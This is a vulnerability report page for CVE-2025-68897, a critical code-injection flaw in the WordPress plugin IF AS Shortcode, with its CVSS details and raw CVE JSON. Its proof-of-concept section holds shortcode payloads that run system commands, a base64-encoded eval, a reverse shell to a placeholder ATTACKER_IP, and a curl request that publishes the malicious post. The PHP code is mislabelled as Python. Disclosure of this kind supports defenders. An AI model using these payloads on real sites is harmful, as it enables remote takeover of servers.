Security Vulnerability Report
中文
CVE-2025-68897 CVSS 9.9 CRITICAL

CVE-2025-68897

Published: 2025-12-29 16:15:43
Last Modified: 2026-04-23 15:36:12

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Mohammad I. Okfie IF AS Shortcode if-as-shortcode allows Code Injection.This issue affects IF AS Shortcode: from n/a through <= 1.2.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

if-as-shortcode <= 1.2
if-as-shortcode 所有版本至1.2及以下

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-68897 PoC - IF AS Shortcode Code Injection * Target: WordPress with if-as-shortcode plugin <= 1.2 * Author: Security Researcher * Description: Authenticated code injection via shortcode */ // Method 1: Using shortcode in post content $poc_shortcode = "[if-as condition='system(id);'][/if-as]"; // Method 2: Using shortcode with PHP code execution $poc_shortcode_php = "[if-as condition='eval(base64_decode('c3lzdGVtKCdpZCB8fCB3aG9hbWknKTs='));'][/if-as]"; // Method 3: Reverse shell payload $reverse_shell = "[if-as condition='$sock=fsockopen(\"ATTACKER_IP\",PORT);exec(\"/bin/bash -i <&3 >&3 2>&3\");'][/if-as]"; // HTTP Request PoC using cURL /* curl -X POST 'https://target.com/wp-json/wp/v2/posts' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <USER_TOKEN>' \ -d '{ "title": "Malicious Post", "content": "[if-as condition=\"system(id);\"]Test[/if-as]", "status": "publish" }' */ echo "PoC for CVE-2025-68897\n"; echo "Use shortcode: [if-as condition='system(id);'][/if-as]\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68897", "sourceIdentifier": "[email protected]", "published": "2025-12-29T16:15:43.457", "lastModified": "2026-04-23T15:36:11.967", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Mohammad I. Okfie IF AS Shortcode if-as-shortcode allows Code Injection.This issue affects IF AS Shortcode: from n/a through <= 1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/if-as-shortcode/vulnerability/wordpress-if-as-shortcode-plugin-1-2-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}